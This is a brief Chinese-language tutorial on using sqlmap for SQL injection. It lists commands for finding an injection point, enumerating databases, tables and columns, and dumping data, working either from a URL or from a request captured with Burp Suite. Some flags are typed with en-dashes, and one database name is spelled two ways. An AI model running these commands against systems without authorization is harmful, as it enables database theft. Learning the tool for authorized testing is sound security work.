使用sqlmap爆破的基本方法:
首先sqlmap是渗透中的一个sql注入攻击工具
1.直接对url进行测试处理
- 用sqlmap.py -u “url” 寻找注入点
- 如果存在注入点,那么爆破数据库,寻找最近使用的数据库
sqlmap.py -u “url” –current-dbs
- 如果存在有数据库名,再来爆破这个数据库里面的表
sqlmap.py -u “url” –D “数据库名” –tables
- 如果数据库中有很多表的话,寻找自己需要的爆破的表名,在爆破表中的字段名
sqlmap.py -u “url” –D “数据库名” –T “表名” –columns
-
如果爆破表中的字段名,在用可能是的字段名,在爆破字段中的数据
sqlmap.py -u “url” –D “数据库名” –T “表名” –C “字段名1,字段名2” --dump
2.可以利用Burpsuit抓取数据包进行处理、
- 使用sqlmap.py -r 1.txt –current-dbs 爆最近使用的数据库
- 使用sqlmap.py -r “d:/1.txt” -D webcalender -tables
如果爆不出来建议加上数据库类型,sqlmap.py -r “d:/1.txt” --dbms=mysql -D webcalendar –tables